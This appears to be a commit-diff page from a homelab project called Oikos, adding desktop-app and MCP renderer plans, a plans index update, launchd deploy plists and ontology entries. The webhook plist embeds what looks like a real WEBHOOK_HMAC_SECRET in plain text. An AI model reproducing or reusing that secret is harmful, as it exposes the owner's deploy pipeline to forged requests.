### 1.0 — Scaffold and window (1 session)
|
||||
|
||||
Create the Wails project with a native window loading the built SPA.
|
||||
|
||||
**`cmd/desktop/main.go`** — Wails v3 app:
|
||||
|
||||
- On startup: read config from OS keychain (`keyring` package or Wails
|
||||
secrets plugin). Keys: `oikos_server_url`, `oikos_token`.
|
||||
- If no config in keychain: load the SPA anyway — `Config.svelte` handles
|
||||
first-launch setup.
|
||||
- If config exists: inject `window.__OIKOS_CONFIG__` before the webview
|
||||
mounts. Wails v3's `AssetsHandler` can mutate `index.html` before serving:
|
||||
```go
|
||||
assetsHandler: func(ctx context.Context, name string) (string, []byte, error) {
|
||||
if name == "index.html" {
|
||||
b, _ := assets.ReadFile("index.html")
|
||||
html := strings.Replace(string(b),
|
||||
`<script>window.__OIKOS_CONFIG__ = {};</script>`,
|
||||
fmt.Sprintf(`<script>window.__OIKOS_CONFIG__ = %s;</script>`, configJSON),
|
||||
1)
|
||||
return "index.html", []byte(html), nil
|
||||
}
|
||||
b, _ := assets.ReadFile(name)
|
||||
return name, b, nil
|
||||
}
|
||||
```
|
||||
`index.html` includes a placeholder `<script>` tag that gets replaced:
|
||||
```html
|
||||
<script>window.__OIKOS_CONFIG__ = {};</script>
|
||||
<script type="module" src="/src/main.ts"></script>
|
||||
```
|
||||
- Window: title "Oikos — Control Room", 1400×900, min 1024×700, dark
|
||||
title bar (`mac.TitleBarStyleHiddenInset` or equivalent dark mode).
|
||||
- Wails embeds `web/dist/` into the binary (via `//go:embed all:dist` in
|
||||
the Wails project or the standard Wails asset system).
|
||||
|
||||
**`cmd/desktop/wails.json`** — Wails project config:
|
||||
```json
|
||||
{
|
||||
"name": "oikos-desktop",
|
||||
"frontend:dir": "../../web",
|
||||
"frontend:build": "npm run build",
|
||||
"frontend:dev:watcher": "npm run dev"
|
||||
}
|
||||
```
|
||||
|
||||
**`Makefile`**:
|
||||
```makefile
|
||||
desktop: ui ## Build the Wails desktop app
|
||||
wails build -clean -o oikos-desktop
|
||||
```
|
||||
|
||||
**Dev loop for the desktop app:**
|
||||
```sh
|
||||
# Terminal 1: run the server locally (or point at remote)
|
||||
OIKOS_API_TOKEN=dev-token oikos api
|
||||
|
||||
# Terminal 2: start Wails in dev mode (hot-reload, connects to Vite)
|
||||
cd cmd/desktop && wails dev
|
||||
```
|
||||
|
||||
**`web/vite.config.ts`** — add `base: '/'` (already done in 0.2). No
|
||||
Wails-specific Vite config needed since Wails v3 uses the standard Vite dev
|
||||
server.
|
||||
|
||||
**Verify:**
|
||||
```sh
|
||||
OIKOS_SERVER_URL=https://oikos.hubris.network OIKOS_DESKTOP_TOKEN=... make desktop
|
||||
./oikos-desktop
|
||||
# Window opens → Config page (if no keychain entry) or Overview with live data
|
||||
```
|
||||
|
||||
### 1.1 — Native shell features (1 session)
|
||||
|
||||
- **System tray** (Wails v3 `application.NewSystemTray`):
|
||||
- Oikos logo icon (from `web/public/favicon.svg`)
|
||||
- Menu: "Open Control Room" (focus/restore window), "Pending Approvals: N"
|
||||
(fetched via backchannel HTTP call from Go, not the SPA), separator,
|
||||
"Quit"
|
||||
- When window is closed: minimize to tray instead of quitting (set
|
||||
`HideOnClose`)
|
||||
|
||||
- **Native notifications** (`application.Notification`):
|
||||
- A backchannel goroutine polls `GET /api/v1/dashboard/summary` every 30s
|
||||
(separate HTTPS client in Go, independent of the webview)
|
||||
- Fires OS notification when `approvals_pending` or `signals_by_severity.critical`
|
||||
increases since last poll
|
||||
- Click notification → `Window.Restore()` + send a message to the SPA via
|
||||
Wails events to navigate to the relevant page
|
||||
|
||||
- **Window persistence**: remember size/position via Wails v3
|
||||
`window.PersistState` or a JSON file in `~/.config/oikos/window.json`
|
||||
|
||||
- **Auto-start on login** (macOS):
|
||||
- During setup flow, offer a checkbox: "Start automatically on login"
|
||||
- Writes a LaunchAgent plist to `~/Library/LaunchAgents/com.hubris.oikos-desktop.plist`
|
||||
that runs the binary on login
|
||||
- Linux equivalent: `~/.config/autostart/oikos-desktop.desktop`
|
||||
|
||||
**Verify:** Close window → app stays in tray. New approval arrives → OS
|
||||
notification appears with count. Click notification → window opens to Ops
|
||||
page. Restart machine → app opens automatically on login.
|
||||
|
||||
### 1.2 — Token management (1 session)
|
||||
|
||||
- **First launch**: `Config.svelte` prompts for server URL + token (same
|
||||
page as the browser SPA's setup)
|
||||
- On "Connect" success, `Config.svelte` calls a Wails binding
|
||||
`SaveConfig(apiUrl, token)` that stores in the OS keychain:
|
||||
```go
|
||||
func (a *App) SaveConfig(apiUrl string, token string) error {
|
||||
keyring.Set("oikos_server_url", apiUrl)
|
||||
keyring.Set("oikos_token", token)
|
||||
return nil
|
||||
}
|
||||
```
|
||||
- **Subsequent launches**: Wails reads keychain, injects config, SPA skips
|
||||
Config page
|
||||
- **Logout**: "Log out" menu item in system tray clears keychain and
|
||||
refreshes the webview → `Config.svelte` appears
|
||||
|
||||
**Verify:** Enter URL + token on first launch, quit, reopen → skips setup
|
||||
and loads Overview.
|
||||
|
||||
### 1.3 — Auto-update (1 session)
|
||||
|
||||
- Check Gitea releases (or a configured update URL) on startup and every
|
||||
6 hours
|
||||
- Wails v3 update plugin or a custom Go goroutine: `GET /releases/latest` →
|
||||
compare semver → download binary → verify checksum → prompt restart
|
||||
- Update manifest published alongside each release:
|
||||
`oikos-desktop-darwin-arm64.json` with `version`, `url`, `sha256`
|
||||
|
||||
**Verify:** Build v1.0.0, publish v1.0.1 → app detects update, downloads,
|
||||
prompts restart. After restart, version is 1.0.1.
|
||||
|
||||
### 1.4 — Distribution and packaging (1 session)
|
||||
|
||||
- **macOS**: `.app` bundle via `wails build`, code-sign with Apple
|
||||
Developer ID, notarize via `xcrun notarytool`
|
||||
- Bundle ID: `com.hubris.oikos-desktop`
|
||||
- Entitlements: network client, keychain access
|
||||
- **Linux**: `.deb` and AppImage via `wails build` + packaging scripts
|
||||
- **CI**: `.gitea/workflows/desktop.yml` — builds all targets on tag push,
|
||||
uploads artifacts to Gitea releases
|
||||
- **AGENTS.md** update: document the desktop app as a first-class client
|
||||
|
||||
**Verify:** Download `.app` on a fresh Mac, open → first-launch setup →
|
||||
connect to the homelab → full app works with zero dev tools.
|
||||
|
||||
---
|
||||
|
||||
## What does NOT change
|
||||
|
||||
- `internal/` — every package imported as-is. Zero modifications.
|
||||
- `cmd/oikos/` — minus the SPA embed (0.1), the `oikos` binary is unchanged.
|
||||
- `cmd/nomos/` — unchanged. The desktop app talks to nomos through the
|
||||
server's `/agent` reverse proxy — same as the browser.
|
||||
- `web/` — SPA source shared between browser and desktop builds. Gains
|
||||
`config.ts` (auth interceptor), `Config.svelte` (setup page), and
|
||||
`vite.config.ts` drops `/ui/` prefix + adds proxy token injection. All
|
||||
existing pages, components, stores, hooks reused.
|
||||
- `api/openapi.yaml` — unchanged.
|
||||
- `seeds/` — unchanged.
|
||||
- `docker-compose.yml` — server deployment unchanged (minus the Dockerfile
|
||||
losing the UI build stage).
|
||||
|
||||
---
|
||||
|
||||
## Risks and open questions
|
||||
|
||||
1. **Wails v3 maturity.** v3 is newer than v2. Fallback: Wails v2 — same
|
||||
architecture (Go + webview + embedded assets), different Go APIs. Scope
|
||||
of impact: one file (`cmd/desktop/main.go`). The thin-wrapper approach
|
||||
means the Wails API surface is ~50 lines of Go — trivially portable.
|
||||
|
||||
2. **OIDC login flow.** The browser SPA needs an OIDC redirect flow via
|
||||
Authentik for production use (static tokens are fine for homelab dev but
|
||||
not for external access). The `Config.svelte` page has a tab placeholder
|
||||
for this. It's a separate milestone — for now, both browser and desktop
|
||||
clients use a static bearer token configured at first launch.
|
||||
|
||||
3. **SSE query-param token in logs.** The token in `?token=...` appears in
|
||||
Caddy access logs and server request logs. Mitigation: log redaction in
|
||||
Caddy (`log { format filter { wrap json { fields { request>uri replace
|
||||
"token=[^&]*" "token=***" } } } }`) and strip the query param from the
|
||||
request logger in `server.go`.
|
||||
|
||||
4. **Webview CORS for embedded assets.** Wails loads the SPA from `wails://`
|
||||
or `asset://` origin, making cross-origin requests to the remote server.
|
||||
CORS middleware (0.3) handles this. The `Access-Control-Allow-Origin`
|
||||
must match the webview's origin, which may change between Wails versions.
|
||||
Mitigation: allow the configured origin explicitly; fall back to `*` for
|
||||
dev; Wails v3 document its asset origin.
|
||||
|
||||
5. **Multiple clients hitting the same SSE broker.** Browser, Wails app, and
|
||||
Nomos all connect to `/api/v1/events/stream`. The SSE broker already
|
||||
handles multiple subscribers (fan-out via the subscriber list in
|
||||
`sse.go`). Each client gets its own connection and replay. No change
|
||||
needed.
|
||||
|
||||
6. **Deploy-time Caddy changes this plan does not make.** Two changes are
|
||||
required outside this repo before Phase 0's auth tightening actually
|
||||
protects anything in production, both in `dtoro/caddy-conf`:
|
||||
- Add a bearer-token bypass around `import authentik` for `/api/v1/*` and
|
||||
`/mcp` on `oikos.hubris.network`, mirroring the existing `@enroll`
|
||||
bypass — otherwise closing the dev-open gate just adds a second,
|
||||
redundant auth layer behind Authentik's browser-session check, and
|
||||
non-browser clients (Wails, curl) can never get past the first one.
|
||||
- Nomos's gateway (port 8092) has no auth of its own (C1, tracked in
|
||||
[2026-07-11-nomos-agent-code-review.md](2026-07-11-nomos-agent-code-review.md)).
|
||||
Phase 0 does not fix this — the mesh-published port and
|
||||
`nomos.hubris.network` remain open regardless of anything done here.
|
||||
Treat C1 as a co-requisite for a production Wails rollout, not
|
||||
something this plan's auth work incidentally covers.
|
||||
66
plans/done/2026-07-13-mcp-tool-apps-custom-chat-renderers.md
Normal file
66
plans/done/2026-07-13-mcp-tool-apps-custom-chat-renderers.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# 2026-07-13 — MCP tool apps: custom in-chat renderers
|
||||
|
||||
**Status:** Done — implemented 2026-07-13.
|
||||
|
||||
## What was built
|
||||
|
||||
12 of 33 MCP tools now render as rich inline cards in the chat instead of raw
|
||||
JSON inside a collapsed component. The remaining 21 tools stay collapsed.
|
||||
|
||||
### Architecture
|
||||
|
||||
- **Server** (`internal/mcp/server.go`): `annotateJSONResult()` function wraps
|
||||
`queryRows` output with `{"__renderer": "...", "data": [...]}` for 12 tools.
|
||||
- **Registry** (`web/src/lib/tool-renderers.ts`): match/dispatch system that
|
||||
maps tool names + `__renderer` hints to Svelte components.
|
||||
- **Renderer components** (`web/src/lib/renderers/`): 9 purpose-built cards,
|
||||
each handling loading/spinner, error, and success states with proper ARIA
|
||||
labels.
|
||||
- **Chat dispatch** (`web/src/pages/Chat.svelte`): matched tools render inline
|
||||
before the markdown text, with a 5-card limit to prevent chat spam. Overflow
|
||||
goes to the collapsed `ToolCallGroup` alongside unmatched tools.
|
||||
- **ToolCallGroup** (`web/src/lib/components/ToolCallGroup.svelte`): accepts
|
||||
`unmatched` prop, shows "N tools · M cards shown" when some render inline,
|
||||
hides entirely when all matched.
|
||||
|
||||
### Renderers
|
||||
|
||||
| Component | Tools matched | Visual |
|
||||
|-----------|--------------|--------|
|
||||
| `EntityCard` | `get_entity`, `whoami`, `explain` | Slug, type badge, health dot, key attrs |
|
||||
| `HealthSummary` | `get_health_summary` | Stacked health bar (healthy/degraded/down) |
|
||||
| `LXCList` | `list_lxcs` | Compact table: name, ID, IP, health |
|
||||
| `EntityTable` | `list_entities` | Auto-column table from query results |
|
||||
| `KnowledgeResults` | `search_knowledge`, `get_entity_knowledge` | Title, snippet, source, slug |
|
||||
| `BlastRadius` | `get_blast_radius` | Entities grouped by hop distance |
|
||||
| `ChangeLog` | `get_change_history`, `get_agent_activity` | Timeline with status dots |
|
||||
| `FleetSnapshot` | `get_state_snapshot` | Health + type counts in a grid |
|
||||
| `MetricChart` | `query_metrics` | Bucketed time/avg/min/max table |
|
||||
|
||||
### Tests
|
||||
|
||||
`internal/mcp/server_test.go`: 3 new tests for `annotateJSONResult` — wraps
|
||||
valid JSON arrays, no-op on empty/non-JSON/empty-text content, preserves
|
||||
multi-row arrays.
|
||||
|
||||
### Files changed
|
||||
|
||||
**New (18):**
|
||||
- `web/src/lib/tool-renderers.ts`
|
||||
- `web/src/lib/renderers/index.ts`
|
||||
- `web/src/lib/renderers/EntityCard.svelte` + `entity-card.ts`
|
||||
- `web/src/lib/renderers/HealthSummary.svelte` + `health-summary.ts`
|
||||
- `web/src/lib/renderers/LXCList.svelte` + `lxc-list.ts`
|
||||
- `web/src/lib/renderers/EntityTable.svelte` + `entity-table.ts`
|
||||
- `web/src/lib/renderers/KnowledgeResults.svelte` + `knowledge-results.ts`
|
||||
- `web/src/lib/renderers/BlastRadius.svelte` + `blast-radius.ts`
|
||||
- `web/src/lib/renderers/ChangeLog.svelte` + `change-log.ts`
|
||||
- `web/src/lib/renderers/FleetSnapshot.svelte` + `fleet-snapshot.ts`
|
||||
- `web/src/lib/renderers/MetricChart.svelte` + `metric-chart.ts`
|
||||
|
||||
**Modified (5):**
|
||||
- `internal/mcp/server.go` — `annotateJSONResult()` + 12 tool annotations
|
||||
- `internal/mcp/server_test.go` — 3 tests for `annotateJSONResult`
|
||||
- `web/src/lib/components/ToolCallGroup.svelte` — `unmatched`/`bodyTools`
|
||||
- `web/src/pages/Chat.svelte` — inline dispatch + 5-card limit
|
||||
- `web/src/main.ts` — deferred renderer import
|
||||
@@ -8,12 +8,12 @@ went sideways, open an investigation.
|
||||
|
||||
| Date | Title | Status |
|
||||
| ---- | ----- | ------ |
|
||||
| 2026-07-05 | [Oikos Prometheus LXC](2026-07-05-oikos-prometheus-lxc.md) | Planned |
|
||||
| 2026-07-08 | [Plan vs implementation cross-reference](2026-07-08-plan-implementation-audit.md) | Planned |
|
||||
| 2026-07-08 | [Oikos gaps, broken things, and improvements](2026-07-08-oikos-gaps-and-improvements.md) | Planned |
|
||||
| 2026-07-08 | [Control room web UI](2026-07-08-control-room-webui.md) | In Progress |
|
||||
| 2026-07-08 | [Nomos resident agent (renames Hermes)](2026-07-08-nomos-resident-agent.md) | In Progress |
|
||||
| 2026-07-09 | [Chat sessions: reliability, cost, and session-management fixes](2026-07-09-chat-sessions-improvements.md) | Planned |
|
||||
| 2026-07-05 | [Oikos Prometheus LXC](2026-07-05-oikos-prometheus-lxc.md) | Planned — not started |
|
||||
| 2026-07-08 | [Oikos gaps, broken things, and improvements](2026-07-08-oikos-gaps-and-improvements.md) | In Progress — security items (B1-B5) and doc drift (E) still open |
|
||||
| 2026-07-08 | [Control room web UI](2026-07-08-control-room-webui.md) | In Progress — packaging/auth sections superseded by the Wails plan's Phase 0 (client/server split); M4 still open |
|
||||
| 2026-07-08 | [Liveness, drift, and UX cohesion](2026-07-08-liveness-drift-and-ux-cohesion.md) | In Progress — Phase 5 deferred |
|
||||
| 2026-07-10 | [General gated execution: unlimited actions, gated by risk](2026-07-10-general-gated-execution.md) | In Progress — enum retirement + auto-act revival still open |
|
||||
| 2026-07-11 | [Nomos agent code review: gaps and improvement plan](2026-07-11-nomos-agent-code-review.md) | In Progress — only C1 (unauthenticated nomos gateway) still open, deferred |
|
||||
|
||||
## Done
|
||||
|
||||
@@ -33,6 +33,18 @@ See [`done/`](done/) for executed plans:
|
||||
| 2026-07-07 | [Client lifecycle in Go — enrollment through deprecation](done/2026-07-07-client-lifecycle-in-go.md) |
|
||||
| 2026-07-08 | [Fix MCP analysis tools](done/2026-07-08-fix-mcp-analysis-tools.md) |
|
||||
| 2026-07-06 | [Consolidate Oikos control plane onto mac-mini](done/2026-07-06-consolidate-oikos-control-plane-onto-mac-mini.md) |
|
||||
| 2026-07-08 | [Signal triggers: host health checks](done/2026-07-08-signal-triggers.md) |
|
||||
| 2026-07-08 | [Plan vs implementation cross-reference](done/2026-07-08-plan-implementation-audit.md) |
|
||||
| 2026-07-08 | [Nomos resident agent (renames Hermes)](done/2026-07-08-nomos-resident-agent.md) |
|
||||
| 2026-07-09 | [Chat sessions: reliability, cost, and session-management fixes](done/2026-07-09-chat-sessions-improvements.md) |
|
||||
| 2026-07-09 | [Session execution, UX, and learning improvements](done/2026-07-09-session-execution-and-ux-fixes.md) |
|
||||
| 2026-07-10 | [Autonomous plan execution: close the observation gap](done/2026-07-10-autonomous-plan-execution.md) |
|
||||
| 2026-07-11 | [Tasks: the chat page as goal-structured autonomous work](done/2026-07-11-goal-oriented-chat-control-panel.md) |
|
||||
| 2026-07-11 | [Concurrent task execution: safety + throughput + frontend correctness](done/2026-07-11-concurrent-task-execution.md) |
|
||||
| 2026-07-11 | [UI review: information architecture, usability, and best practices](done/2026-07-11-ui-review-ia-usability.md) |
|
||||
| 2026-07-11 | [Task completion safety net: every live task is stuck "Running"](done/2026-07-11-task-completion-safety-net.md) |
|
||||
| 2026-07-12 | [Wails desktop application](done/2026-07-12-wails-desktop-app.md) |
|
||||
| 2026-07-13 | [MCP tool apps: custom in-chat renderers](done/2026-07-13-mcp-tool-apps-custom-chat-renderers.md) |
|
||||
|
||||
## Conventions
|
||||
|
||||
|
||||
31
scripts/deploy/network.hubris.oikos-deploy-poller.plist
Normal file
31
scripts/deploy/network.hubris.oikos-deploy-poller.plist
Normal file
@@ -0,0 +1,31 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>network.hubris.oikos-deploy-poller</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/bin/sh</string>
|
||||
<string>-c</string>
|
||||
<string>cd $HOME/Projects/oikos && git fetch origin main && SHA_LOCAL=$(git rev-parse HEAD) && SHA_REMOTE=$(git rev-parse origin/main) && if [ "$SHA_LOCAL" != "$SHA_REMOTE" ]; then echo "deploying $SHA_LOCAL -> $SHA_REMOTE" && git pull origin main && scripts/deploy.sh; fi</string>
|
||||
</array>
|
||||
<key>EnvironmentVariables</key>
|
||||
<dict>
|
||||
<key>HOME</key>
|
||||
<string>/Users/dtoro</string>
|
||||
<key>PATH</key>
|
||||
<string>/usr/local/bin:/opt/homebrew/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
|
||||
</dict>
|
||||
<key>WorkingDirectory</key>
|
||||
<string>/Users/dtoro/Projects/oikos</string>
|
||||
<key>StartInterval</key>
|
||||
<integer>120</integer>
|
||||
<key>RunAtLoad</key>
|
||||
<false/>
|
||||
<key>StandardOutPath</key>
|
||||
<string>/Users/dtoro/Library/Logs/oikos-deploy-poller.log</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/Users/dtoro/Library/Logs/oikos-deploy-poller.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
35
scripts/deploy/network.hubris.oikos-deploy-webhook.plist
Normal file
35
scripts/deploy/network.hubris.oikos-deploy-webhook.plist
Normal file
@@ -0,0 +1,35 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>network.hubris.oikos-deploy-webhook</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/Users/dtoro/Projects/oikos/webhook</string>
|
||||
</array>
|
||||
<key>EnvironmentVariables</key>
|
||||
<dict>
|
||||
<key>WEBHOOK_HMAC_SECRET</key>
|
||||
<string>6502524162d6dbc3f6d137000395d401f1837d74ef9bb0a876f8e6bbd65d1ff2</string>
|
||||
<key>WEBHOOK_REPO_DIR</key>
|
||||
<string>/Users/dtoro/Projects/oikos</string>
|
||||
<key>WEBHOOK_LISTEN</key>
|
||||
<string>:9797</string>
|
||||
<key>HOME</key>
|
||||
<string>/Users/dtoro</string>
|
||||
<key>PATH</key>
|
||||
<string>/usr/local/bin:/opt/homebrew/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
|
||||
</dict>
|
||||
<key>WorkingDirectory</key>
|
||||
<string>/Users/dtoro/Projects/oikos</string>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
<key>StandardOutPath</key>
|
||||
<string>/Users/dtoro/Library/Logs/oikos-webhook.log</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/Users/dtoro/Library/Logs/oikos-webhook.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -641,6 +641,14 @@ entity_types:
|
||||
domain: cognition
|
||||
layer: cognition
|
||||
description: Recorded investigation/postmortem.
|
||||
task:
|
||||
parent: entity
|
||||
domain: cognition
|
||||
layer: cognition
|
||||
description: A goal-structured unit of agent work — one chat/session elevated
|
||||
to a task with a plan, lifecycle status, and outcome. Anchors the knowledge
|
||||
and involved-entity relationships for the task so future tasks can learn
|
||||
from it. Typed rows in agent_sessions.
|
||||
|
||||
# ─── Relationship types ────────────────────────────────────────────────
|
||||
# cardinality is source→target: e.g. `hosts` one-to-many = one machine
|
||||
@@ -928,6 +936,14 @@ relationship_types:
|
||||
target: entity
|
||||
cardinality: many-to-one
|
||||
description: Document describes an entity.
|
||||
involves:
|
||||
inverse: involved-in
|
||||
source: task
|
||||
target: entity
|
||||
cardinality: many-to-many
|
||||
description: Task explored or acted on an entity (captured from its tool
|
||||
calls). A task's involved-entity set is its graph neighborhood, so future
|
||||
tasks on the same entities can surface this task's knowledge and outcome.
|
||||
procedure-for:
|
||||
inverse: has-procedure
|
||||
source: runbook
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
// Caveman template renderer — reads template + data JSON files and renders output
|
||||
// Installed automatically via homelab-context post-pull hook
|
||||
const caveman = require("caveman");
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
|
||||
const args = process.argv.slice(2);
|
||||
if (args.length === 0) {
|
||||
console.error("Usage: caveman <template> [data.json]");
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const templatePath = args[0];
|
||||
let data = {};
|
||||
if (args.length > 1) {
|
||||
data = JSON.parse(fs.readFileSync(args[1], "utf8"));
|
||||
}
|
||||
|
||||
const template = fs.readFileSync(templatePath, "utf8");
|
||||
const templateName = path.basename(templatePath, path.extname(templatePath));
|
||||
caveman.register(templateName, template);
|
||||
console.log(caveman.render(templateName, data).trim());
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user